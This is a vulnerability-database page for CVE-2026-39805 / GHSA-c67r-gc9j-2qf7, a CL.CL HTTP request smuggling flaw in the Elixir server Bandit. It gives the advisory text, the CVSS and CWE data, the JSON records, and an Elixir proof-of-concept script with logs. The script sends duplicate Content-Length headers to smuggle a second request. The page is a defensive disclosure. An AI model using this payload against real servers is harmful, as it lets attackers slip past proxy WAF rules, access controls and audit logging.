Vulnerability-Lookup

GHSA-C67R-GC9J-2QF7

Vulnerability from github – Published: 2026-05-07 03:46 – Updated: 2026-05-07 03:46

Summary

Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header

Details

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af

Details

Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs

On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

Bandit directly on the internet: spec violation, no exploit.
Bandit behind a major CDN/LB: almost certainly safe.
Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule DemoApp do
  @behaviour Plug

  import Plug.Conn

  def init(opts), do: opts

  def call(conn, _opts) do
    send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
  end
end

defmodule Smuggle do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    request = build_smuggling_request()
    log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    :ok = :gen_tcp.send(sock, request)

    response = read_all(sock)
    :gen_tcp.close(sock)

    log("Response stream:\n#{response}")
    diagnose(response)
  end

  # POST with two Content-Length headers, plus a smuggled GET line in the
  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request
  # line either gets parsed as a new request on the keep-alive connection
  # or stays in the buffer.
  defp build_smuggling_request do
    smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
    smuggled_size = byte_size(smuggled_request)

    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1\r\n" <>
      "Content-Length: 0\r\n" <>
      "Content-Length: #{smuggled_size}\r\n" <>
      "\r\n" <>
      smuggled_request
  end

  defp read_all(sock, accumulated \\ "") do
    case :gen_tcp.recv(sock, 0, 2_000) do
      {:ok, bytes} -> read_all(sock, accumulated <> bytes)
      {:error, _reason} -> accumulated
    end
  end

  # Three observable outcomes:
  #   - 400 Bad Request -> RFC-conformant rejection (not what current
  #     Bandit does).
  #   - Two responses, second one for /smuggled -> Bandit dispatched the
  #     smuggled request as a second pipelined request.
  #   - One response -> Bandit accepted Content-Length: 0, the smuggled
  #     bytes sat in the keep-alive buffer; with a CL-last frontend this
  #     becomes a smuggled request on the next request boundary.
  defp diagnose(response) do
    response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten()
    log("HTTP/1.x response lines observed: #{length(response_lines)}")
    Enum.each(response_lines, fn line -> log("  #{line}") end)

    cond do
      response =~ ~r/^HTTP\/1\.[01] 400/ ->
        log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

      response =~ "/smuggled" ->
        log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

      length(response_lines) == 1 ->
        log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
        log("smuggled request line in the keep-alive buffer. Combined with a")
        log("CL-last frontend this becomes request smuggling.")

      true ->
        log("Inconclusive - see raw response above.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Smuggle.run()

11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43

GET /smuggled HTTP/1.1
Host: 127.0.0.1


[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.

Severity ?

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:46:31Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 \u00a75.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 \u00a76.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical \u2014 extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant \u2014 smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn\u0027t see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and \u2014 the only realistic data-exfil path \u2014 response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN/LB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless \u2014 the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 \u00a76.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request\u0027s body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts/bandit/http1_duplicate_content_length.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule DemoApp do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n  end\nend\n\ndefmodule Smuggle do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    request = build_smuggling_request()\n    log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    :ok = :gen_tcp.send(sock, request)\n\n    response = read_all(sock)\n    :gen_tcp.close(sock)\n\n    log(\"Response stream:\\n#{response}\")\n    diagnose(response)\n  end\n\n  # POST with two Content-Length headers, plus a smuggled GET line in the\n  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n  # line either gets parsed as a new request on the keep-alive connection\n  # or stays in the buffer.\n  defp build_smuggling_request do\n    smuggled_request = \"GET /smuggled HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n    smuggled_size = byte_size(smuggled_request)\n\n    \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n      \"Host: 127.0.0.1\\r\\n\" \u003c\u003e\n      \"Content-Length: 0\\r\\n\" \u003c\u003e\n      \"Content-Length: #{smuggled_size}\\r\\n\" \u003c\u003e\n      \"\\r\\n\" \u003c\u003e\n      smuggled_request\n  end\n\n  defp read_all(sock, accumulated \\\\ \"\") do\n    case :gen_tcp.recv(sock, 0, 2_000) do\n      {:ok, bytes} -\u003e read_all(sock, accumulated \u003c\u003e bytes)\n      {:error, _reason} -\u003e accumulated\n    end\n  end\n\n  # Three observable outcomes:\n  #   - 400 Bad Request -\u003e RFC-conformant rejection (not what current\n  #     Bandit does).\n  #   - Two responses, second one for /smuggled -\u003e Bandit dispatched the\n  #     smuggled request as a second pipelined request.\n  #   - One response -\u003e Bandit accepted Content-Length: 0, the smuggled\n  #     bytes sat in the keep-alive buffer; with a CL-last frontend this\n  #     becomes a smuggled request on the next request boundary.\n  defp diagnose(response) do\n    response_lines = Regex.scan(~r/^HTTP\\/1\\.[01] \\d{3}[^\\r\\n]*/m, response) |\u003e List.flatten()\n    log(\"HTTP/1.x response lines observed: #{length(response_lines)}\")\n    Enum.each(response_lines, fn line -\u003e log(\"  #{line}\") end)\n\n    cond do\n      response =~ ~r/^HTTP\\/1\\.[01] 400/ -\u003e\n        log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 \u00a76.3 conformant).\")\n\n      response =~ \"/smuggled\" -\u003e\n        log(\"VULNERABLE: smuggled GET /smuggled was processed as a second request.\")\n\n      length(response_lines) == 1 -\u003e\n        log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n        log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n        log(\"CL-last frontend this becomes request smuggling.\")\n\n      true -\u003e\n        log(\"Inconclusive - see raw response above.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST / HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET /smuggled HTTP/1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=/\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=/smuggled\n\n[09:52:25.057] HTTP/1.x response lines observed: 2\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.\n```",
  "id": "GHSA-c67r-gc9j-2qf7",
  "modified": "2026-05-07T03:46:31Z",
  "published": "2026-05-07T03:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39805"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39805.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header"
}

CVE-2026-39805 (GCVE-0-2026-39805)

Vulnerability from cvelistv5 – Published: 2026-05-01 20:34 – Updated: 2026-05-04 17:11

Title

CL.CL HTTP request smuggling via duplicate Content-Length in bandit

Summary

Inconsistent Interpretation of HTTP Requests vulnerability in mtrudel bandit allows HTTP request smuggling via duplicate Content-Length headers. 'Elixir.Bandit.Headers':get_content_length/1 in lib/bandit/headers.ex uses List.keyfind/3, which returns only the first matching header. When a request contains two Content-Length headers with different values, Bandit silently accepts it, uses the first value to read the body, and dispatches the remaining bytes as a second pipelined request on the same keep-alive connection. RFC 9112 §6.3 requires recipients to treat this as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length value and forwards the request rather than rejecting it, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging. This issue affects bandit: before 1.11.0.

Severity ?

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

EEF

References

4 references

URL	Tags
https://github.com/mtrudel/bandit/security/adviso…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-39805.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-39805	related
https://github.com/mtrudel/bandit/commit/f2ca636e…	patch

Impacted products

2 products

Vendor	Product	Version
mtrudel	bandit	Affected: 0 , < 1.11.0 (semver) cpe:2.3:a:mtrudel:bandit::::::::
mtrudel	bandit	Affected: 0 , < f2ca636eb6df385219957e8934e9fc6efa1630d1 (git) cpe:2.3:a:mtrudel:bandit::::::::

Credits

Peter Ullrich Mat Trudel Jonatan Männchen

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-39805",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-02T01:20:49.825555Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-02T01:21:12.460Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.Headers\u0027"
          ],
          "packageName": "bandit",
          "packageURL": "pkg:hex/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/headers.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.Headers\u0027:get_content_length/1"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "1.11.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.Headers\u0027"
          ],
          "packageName": "mtrudel/bandit",
          "packageURL": "pkg:github/mtrudel/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/headers.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.Headers\u0027:get_content_length/1"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "f2ca636eb6df385219957e8934e9fc6efa1630d1",
              "status": "affected",
              "version": "0",
              "versionType": "git"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "1.11.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ],
          "operator": "AND"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Peter Ullrich"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Mat Trudel"
        },
        {
          "lang": "en",
          "type": "analyst",
          "value": "Jonatan M\u00e4nnchen"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Inconsistent Interpretation of HTTP Requests vulnerability in mtrudel bandit allows HTTP request smuggling via duplicate \u003ctt\u003eContent-Length\u003c/tt\u003e headers.\u003cp\u003e\u003ctt\u003e\u0027Elixir.Bandit.Headers\u0027:get_content_length/1\u003c/tt\u003e in \u003ctt\u003elib/bandit/headers.ex\u003c/tt\u003e uses \u003ctt\u003eList.keyfind/3\u003c/tt\u003e, which returns only the first matching header. When a request contains two \u003ctt\u003eContent-Length\u003c/tt\u003e headers with different values, Bandit silently accepts it, uses the first value to read the body, and dispatches the remaining bytes as a second pipelined request on the same keep-alive connection. RFC 9112 \u00a76.3 requires recipients to treat this as an unrecoverable framing error.\u003c/p\u003e\u003cp\u003eWhen Bandit sits behind a proxy that picks the last \u003ctt\u003eContent-Length\u003c/tt\u003e value and forwards the request rather than rejecting it, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\u003c/p\u003e\u003cp\u003eThis issue affects bandit: before 1.11.0.\u003c/p\u003e"
            }
          ],
          "value": "Inconsistent Interpretation of HTTP Requests vulnerability in mtrudel bandit allows HTTP request smuggling via duplicate Content-Length headers.\n\n\u0027Elixir.Bandit.Headers\u0027:get_content_length/1 in lib/bandit/headers.ex uses List.keyfind/3, which returns only the first matching header. When a request contains two Content-Length headers with different values, Bandit silently accepts it, uses the first value to read the body, and dispatches the remaining bytes as a second pipelined request on the same keep-alive connection. RFC 9112 \u00a76.3 requires recipients to treat this as an unrecoverable framing error.\n\nWhen Bandit sits behind a proxy that picks the last Content-Length value and forwards the request rather than rejecting it, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThis issue affects bandit: before 1.11.0."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-33",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-33 HTTP Request Smuggling"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444 Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-04T17:11:40.573Z",
        "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "shortName": "EEF"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "related"
          ],
          "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://cna.erlef.org/cves/CVE-2026-39805.html"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39805"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "CL.CL HTTP request smuggling via duplicate Content-Length in bandit",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
    "assignerShortName": "EEF",
    "cveId": "CVE-2026-39805",
    "datePublished": "2026-05-01T20:34:29.400Z",
    "dateReserved": "2026-04-07T12:28:54.916Z",
    "dateUpdated": "2026-05-04T17:11:40.573Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-C67R-GC9J-2QF7

Summary

Details

PoC

Impact

Script and Logs

CVE-2026-39805 (GCVE-0-2026-39805)

Tags

Sightings

Nomenclature